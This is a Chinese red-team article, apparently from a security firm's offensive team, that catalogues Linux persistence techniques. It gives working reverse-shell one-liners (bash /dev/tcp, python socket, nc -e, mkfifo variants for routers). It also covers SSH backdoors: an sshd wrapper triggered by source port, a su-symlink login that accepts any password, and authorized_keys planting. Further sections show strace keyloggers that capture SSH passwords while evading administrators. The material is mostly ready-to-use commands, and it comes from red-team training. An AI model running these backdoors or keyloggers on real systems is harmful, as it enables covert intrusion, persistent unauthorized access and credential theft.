导读:常见红队评估中,也能遇到很多Linux服务器,如何使Linux在安全人员/运维人员的检查过程中能够稳定的持续的用做跳板,本系列文章将对常见的Linux后门技术作以总结归纳,将相关技术展现给大家。
本篇文章是Linux后门总结文章第一篇,简单介绍了一些常见的shell反弹用法,还有针对不同系统/架构的反弹用法,后门要达到的目的一般都是用作权限维持,这里只介绍几种后面文章中会利用到的shell反弹方式,用不到的就不再往上写了。接着将针对SSH后门利用做一个分类说明演示,结合在一些实战环境中应用的特点。
拿到机器后可以查看一下有没有相关程序,反弹shell等进程能够被查到,这条命令可以简单的kill掉一些常见恶意程序。
批量kill可疑进程:
ps -ef |grep "python" |awk '{print $2}'|xargs kill -9ps -ef |grep "bash -i" |awk '{print $2}'|xargs kill -9ps -ef |grep "ew" |awk '{print $2}'|xargs kill -9
LINUX反弹shell
关于反弹原理,和每一步的数据流向在网上都有文章,就不复制了。这里只是用来总结下常规反弹shell的用法,顺便说下优点缺点。
bash -i >& /dev/tcp/127.0.0.1/6666 0>&1
优点:在大多数Liunx系统上都可以使用,缺点:在路由器系统中不存在bash,存在符号>、& 在反序列化中或者对符号转义的情况下就没有办法反弹了。
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('127.0.0.1',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、& 、'、"在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。
nc -e /bin/bash 127.0.0.1 6666
一般Netcat有两个版本,一个版本是不提供反向连接的版本,一个是全功能版本。这两者的区别就是是否带-e参数,只有带-e参数的版本才支持反向连接。ubuntu 18.04安装的是不提供反向链接的版本。
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gztar -zxvf netcat-0.7.1.tar.gz -C /usr/localcd /usr/localmv netcat-0.7.1 netcatcd /usr/local/netcat./configuremake && make install
优点:直接反弹,没有多余的符号。缺点:系统apt默认安装的都是不提供反向链接的版本,需要自己上传编译后的二进制版本。解决方法1:
nc 127.0.0.1 6666|/bin/bash|nc 127.0.0.1 7777
利用6666端口传入内容交给bash执行,再将内容从7777送出去,管道符的用法。可以在阉割功能的nc上使用。
解决方法2(针对某些mips架构的路由器&busybox终端的系统):
//锐捷mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | nc 127.0.0.1 6666 1>/tmp/backpipe1//飞鱼星反弹shellmkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | /bin/busybox nc 127.0.0.1 6666 1>/tmp/backpipe1
SSH后门
SSH wrapper
判断连接来源端口,将恶意端口来源访问传输内容重定向到/bin/sh中。
cd /usr/sbin/mv sshd ../binvim sshd //编辑sshd内容为以下#!/usr/bin/perlexec"/bin/sh"if(getpeername(STDIN)=~/^..LF/); // \x00\x00LF是19526的大端形式exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;service sshd restart
在本机执行
socat STDIO TCP4:127.0.0.1:22,sourceport=19265
可以看到我利用socat限制了本地端口19526访问server的22端口反回一个sh窗。
修改端口可以修改..LF
import structbuffer = struct.pack('>I6',19526)print repr(buffer)
优点:
1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。
2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。
SSH 软连接后门
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。
ln -sf /usr/sbin/sshd /tmp/su/tmp/su -oPort=888
优点:能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。
SSH 公钥免密登陆
ssh-keygen -t rsa //生成公钥
将id_rsa.pub内容放到目标.ssh/authorized_keys里
这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接等情景。
SSH Keylogger
利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
在当前用户的.bashrc里新建一条alias、这样可以抓取他登陆其他机器的ssh密码。算是alias后门。后面会在讲一下alias后门。
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
strace监听ssh来源流量
不只是可以监听连接他人,还可以用来抓到别人连入的密码。应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用。
之前有用别名的方式来抓取登陆其他机器时的密码、同样也可以利用strace来监听登陆本地的sshd流量。
ps -ef | grep sshd #父进程PIDstrace -f -p 12617 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
可以看到也能抓到写入密码。
Info:
https://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper
https://www.freebuf.com/articles/system/178150.html
该文章完成并在内部分享时间为:2019年12月18日,作为一篇技术整理不可避免的会和网上有些文章相同,仅供大家学习讨论。
本文作者:奇安信高级攻防部 @孙韬。目前奇安信安服红队发出江湖召集令,凡是具备实战渗透经验、红队经验、APT实战能力的大侠,均可前来一试,全国招募!联系邮箱:a-hr@qianxin.com
_![765036d37921a57e2052268d4055af70.png](https://i-blog.csdnimg.cn/blog_migrate/9b248f3d93b1a381c876cadde579c5a3.png)
![b2c96a41c624c585b07794a1265c9a87.gif](https://i-blog.csdnimg.cn/blog_migrate/28a0afeef5bc7790a98c45c140b0f3c1.gif)
让网络更安全
让世界更美好
长按识别二维码关注我们
![52bce88e15beb6c5e50ac3fb9eb3a0b9.png](https://i-blog.csdnimg.cn/blog_migrate/c25d7289d2f38ff2119ab7d0c96726b2.jpeg)
![f95e9d7e9a158831577bf9c96a44ba32.png](https://i-blog.csdnimg.cn/blog_migrate/be998c54481d07cf99c9293ae5706a9a.png)